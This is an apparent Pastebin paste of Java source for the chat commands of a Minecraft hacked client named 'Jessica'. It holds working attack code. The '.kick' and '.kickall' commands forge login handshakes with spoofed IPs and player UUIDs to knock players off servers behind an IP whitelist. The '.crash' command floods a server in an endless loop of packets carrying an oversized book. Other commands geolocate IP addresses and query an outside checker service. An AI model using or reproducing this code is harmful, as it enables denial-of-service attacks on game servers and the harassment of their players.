Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package jessica;
- import com.maxmind.geoip2.DatabaseReader;
- import com.maxmind.geoip2.model.CityResponse;
- import com.maxmind.geoip2.record.City;
- import com.maxmind.geoip2.record.Country;
- import com.mojang.authlib.GameProfile;
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.File;
- import java.io.InputStreamReader;
- import java.net.HttpURLConnection;
- import java.net.InetAddress;
- import java.net.URL;
- import java.nio.charset.Charset;
- import java.util.List;
- import java.util.Random;
- import jessica.gui.GuiText;
- import net.minecraft.client.Minecraft;
- import net.minecraft.client.gui.GuiIngameMenu;
- import net.minecraft.client.gui.GuiPlayerTabOverlay;
- import net.minecraft.client.multiplayer.GuiConnecting;
- import net.minecraft.client.network.NetHandlerLoginClient;
- import net.minecraft.client.network.NetHandlerPlayClient;
- import net.minecraft.client.network.NetworkPlayerInfo;
- import net.minecraft.init.Items;
- import net.minecraft.item.ItemStack;
- import net.minecraft.nbt.NBTTagCompound;
- import net.minecraft.nbt.NBTTagList;
- import net.minecraft.nbt.NBTTagString;
- import net.minecraft.network.EnumConnectionState;
- import net.minecraft.network.NetworkManager;
- import net.minecraft.network.handshake.client.C00Handshake;
- import net.minecraft.network.login.client.C00PacketLoginStart;
- import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;
- import net.minecraft.util.BlockPos;
- public class ChatCommands
- {
- public static String IPKick;
- public static int PortKick;
- public static String key;
- public static String nickchange;
- private static ItemStack book = new ItemStack(Items.written_book);
- public static void commands(final String message) {
- if (message.equalsIgnoreCase(".help")) {
- Wrapper.msg("", true);
- Wrapper.msg("&a.creativefind - Get list of players in CREATIVE mode.", false);
- Wrapper.msg("&a.playerfind - Get list all of players.", false);
- Wrapper.msg("&a.kickall [IP] [Port] - Kick all players (IPWhiteList).", false);
- Wrapper.msg("&a.setkick [IP] [Port] - Set IP:Port of server for kick player.", false);
- Wrapper.msg("&a.kick [Nick] - Kick player.", false);
- Wrapper.msg("&a.setkey [Key] - Set key for checker.", false);
- Wrapper.msg("&a.check [Nick] - Check nick online.", false);
- Wrapper.msg("&a.nickchange [Nick] - Hide your nick.", false);
- Wrapper.msg("&a.getuuid [Nick] - Get player's UUID.", false);
- Wrapper.msg("&a.getgeo [IP] - Get geolocation.", false);
- Wrapper.msg("&a.crash - Attack server", false);
- }
- if (message.equalsIgnoreCase(".creativefind")) {
- NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
- List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
- .sortedCopy(connection.getPlayerInfoMap());
- File txt = new File(String.valueOf(Wrapper.getFiles().getClientDir()) + "CreativeFinder\\" +
- (Wrapper.mc().getCurrentServerData()).serverIP.split(":")[0] + ".txt");
- if (txt.exists()) {
- txt.delete();
- }
- for (NetworkPlayerInfo n : players) {
- if (n.getGameType().isCreative()) {
- Wrapper.getFiles().write(txt, n.getGameProfile().getName());
- }
- }
- Wrapper.msg("&eList of players in &6CREATIVE MODE &esaved in file", true);
- Wrapper.msg("&e" + txt.getPath(), false);
- }
- if (message.equalsIgnoreCase(".playerfind")) {
- NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
- List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
- .sortedCopy(connection.getPlayerInfoMap());
- File txt = new File(String.valueOf(Wrapper.getFiles().getClientDir()) + "PlayerFinder\\" +
- (Wrapper.mc().getCurrentServerData()).serverIP.split(":")[0] + ".txt");
- if (txt.exists()) {
- txt.delete();
- }
- for (NetworkPlayerInfo n : players) {
- Wrapper.getFiles().write(txt, n.getGameProfile().getName());
- }
- Wrapper.msg("&eList of players saved in file", true);
- Wrapper.msg("&e" + txt.getPath(), false);
- }
- if (message.startsWith(".kickall")) {
- (new Thread() {
- public void run() {
- try {
- String[] s = message.split(" ");
- int port = Integer.parseInt(s[2]);
- NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
- List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
- .sortedCopy(connection.getPlayerInfoMap());
- for (NetworkPlayerInfo n : players) {
- if (!n.getGameProfile().getId().toString().equals(Wrapper.player().getUniqueID().toString())) {
- Random rand = new Random(); InetAddress var1 = (var1 = null).getByName(s[1]);
- GuiConnecting.networkManager2 = NetworkManager.func_181124_a(var1,
- port, (Minecraft.getMinecraft()).gameSettings.func_181148_f());
- GuiConnecting.networkManager2
- .setNetHandler(new NetHandlerLoginClient(GuiConnecting.networkManager2,
- Minecraft.getMinecraft(), new GuiIngameMenu()));
- GuiConnecting.networkManager2.sendPacket(
- new C00Handshake(47, String.valueOf(s[1]) + "\000" + "32.123." +
- String.valueOf(rand.nextInt(255)) + "." + String.valueOf(rand.nextInt(255)) +
- "\000" + n.getGameProfile().getId().toString(),
- port, EnumConnectionState.LOGIN));
- GuiConnecting.networkManager2.sendPacket(new C00PacketLoginStart(new GameProfile(null, String.valueOf(n.getGameProfile().getName()) + "B")));
- sleep(0L);
- }
- }
- Wrapper.msg("&eKickAll.", true);
- } catch (Exception ex) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.kickall [IP] [Port]", true);
- }
- }
- }).start();
- }
- if (message.startsWith(".setkick")) {
- try {
- String[] s2 = message.split(" ");
- IPKick = s2[1];
- PortKick = Integer.parseInt(s2[2]);
- Wrapper.msg("&aKick on server: &e" + IPKick + ":" + PortKick + "&a.", true);
- } catch (Exception ex) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.setkick [IP] [Port]", true);
- }
- }
- if (message.startsWith(".kick")) {
- (new Thread() {
- public void run() {
- try {
- String[] s = message.split(" ");
- NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
- List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
- .sortedCopy(connection.getPlayerInfoMap());
- for (NetworkPlayerInfo n : players) {
- if (n.getGameProfile().getName().equals(s[1])) {
- Random rand = new Random();
- InetAddress var1 = null;
- var1 =
- InetAddress.getByName(ChatCommands.IPKick);
- GuiConnecting.networkManager2 = NetworkManager.func_181124_a(var1,
- ChatCommands.PortKick, (Minecraft.getMinecraft()).gameSettings.func_181148_f());
- GuiConnecting.networkManager2
- .setNetHandler(new NetHandlerLoginClient(GuiConnecting.networkManager2,
- Minecraft.getMinecraft(), new GuiIngameMenu()));
- GuiConnecting.networkManager2.sendPacket(
- new C00Handshake(47, String.valueOf(ChatCommands.IPKick) + "\000" + "32.123." + String.valueOf(rand.nextInt(255)) + "." + String.valueOf(rand.nextInt(255)) + "\000" + n.getGameProfile().getId().toString(),
- ChatCommands.PortKick, EnumConnectionState.LOGIN));
- GuiConnecting.networkManager2.sendPacket(new C00PacketLoginStart(n.getGameProfile()));
- Wrapper.msg("&eKick ?????? " + n.getGameProfile().getName() + ".", true);
- }
- }
- } catch (Exception ex) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.kickall [IP] [Port]", true);
- }
- }
- }).start();
- }
- if (message.startsWith(".setkey")) {
- try {
- key = message.split(".setkey ")[1];
- Wrapper.msg("Key installed.", true);
- } catch (Exception e) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.setkey [Key]", true);
- }
- }
- if (message.startsWith(".check"))
- {
- (new Thread() {
- public void run() {
- try {
- Wrapper.msg("Waiting...", true);
- String[] forNick = message.split(".check ");
- String nick = forNick[1];
- String url = "http://crashinyou.net/check_for_check.php";
- URL obj = new URL(url);
- HttpURLConnection con = (HttpURLConnection)obj.openConnection();
- con.setRequestMethod("POST");
- con.setRequestProperty("User-Agent", "Jessica Client");
- con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
- String urlParameters = "nick=" + nick + "&key=" + ChatCommands.key + "&submit=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
- con.setDoOutput(true);
- DataOutputStream wr = new DataOutputStream(con.getOutputStream());
- wr.writeBytes(urlParameters);
- wr.flush();
- wr.close();
- BufferedReader in = new BufferedReader(
- new InputStreamReader(con.getInputStream()));
- StringBuffer response = new StringBuffer();
- String inputLine;
- while ((inputLine = in.readLine()) != null) {
- response.append(inputLine);
- }
- in.close();
- GuiText ps = new GuiText();
- ps.textArea1.setText(new String(response.toString().replace("<h2>", "").replace("</h2>", "").replace("<h4>", "\n").replace("<br/>", "\n").replace("</h4>", "").getBytes(), Charset.forName("UTF-8")));
- ps.setVisible(true);
- }
- catch (Exception e) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.check [Nick]", true);
- }
- }
- }).start();
- }
- if (message.startsWith(".nickchange")) {
- try {
- nickchange = message.split(".nickchange ")[1];
- Wrapper.msg("Nick changed.", true);
- } catch (Exception e) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.nickchange [Nick]", true);
- }
- }
- if (message.equalsIgnoreCase(".getuuid")) {
- try {
- String nick = message.split(".getuuid ")[1];
- NetHandlerPlayClient connection = (Wrapper.player()).sendQueue;
- List<NetworkPlayerInfo> players = GuiPlayerTabOverlay.field_175252_a
- .sortedCopy(connection.getPlayerInfoMap());
- for (NetworkPlayerInfo n : players) {
- if (n.getGameProfile().getName().equals(nick)) {
- Wrapper.msg("Waiting...", true);
- GuiText ps = new GuiText();
- ps.textArea1.setText(String.valueOf(nick) + " : " + new String(Wrapper.player().getUUID(n.getGameProfile()).toString().getBytes(), Charset.forName("UTF-8")));
- ps.setVisible(true);
- }
- }
- } catch (Exception e) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.getuuid [Nick]", true);
- }
- }
- if (message.startsWith(".getgeo")) {
- try {
- String geo = message.split(".getgeo ")[1];
- File database = new File((Wrapper.mc()).mcDataDir, "Jessica/GeoIP2-City.mmdb");
- DatabaseReader reader = (new DatabaseReader.Builder(database)).build();
- InetAddress ipAddress = InetAddress.getByName(geo);
- CityResponse response = reader.city(ipAddress);
- Country country = response.getCountry();
- City city = response.getCity();
- Wrapper.msg("IP: " + geo, true);
- Wrapper.msg("Country: " + country.getName(), true);
- Wrapper.msg("City: " + city.getName(), true);
- } catch (Exception e) {
- Wrapper.msg("&cError! Correct:", true);
- Wrapper.msg("&a.getgeo [IP]", true);
- }
- }
- if (message.equalsIgnoreCase(".crash"))
- (new Thread() {
- public void run() {
- try {
- Wrapper.msg("&eCrashing server...", true);
- NBTTagList list = new NBTTagList();
- NBTTagCompound tag = new NBTTagCompound();
- String author = Minecraft.getMinecraft().getSession().getUsername();
- String title = "Play with me.";
- String size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
- for (int i = 0; i < 50; i++) {
- String siteContent = size;
- NBTTagString tString = new NBTTagString(siteContent);
- list.appendTag(tString);
- }
- tag.setString("author", author);
- tag.setString("title", title);
- tag.setTag("pages", list);
- book.setTagInfo("pages", list);
- book.setTagCompound(tag);
- while (true) {
- Wrapper.sendPacket(new C08PacketPlayerBlockPlacement(new BlockPos((Wrapper.player()).posX, (Wrapper.player()).posY - 2.0D, (Wrapper.player()).posZ), 1, book, 0.0F, 0.0F, 0.0F));
- sleep(10L);
- }
- } catch (Exception e) {
- e.printStackTrace();
- return;
- } }
- }).start();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement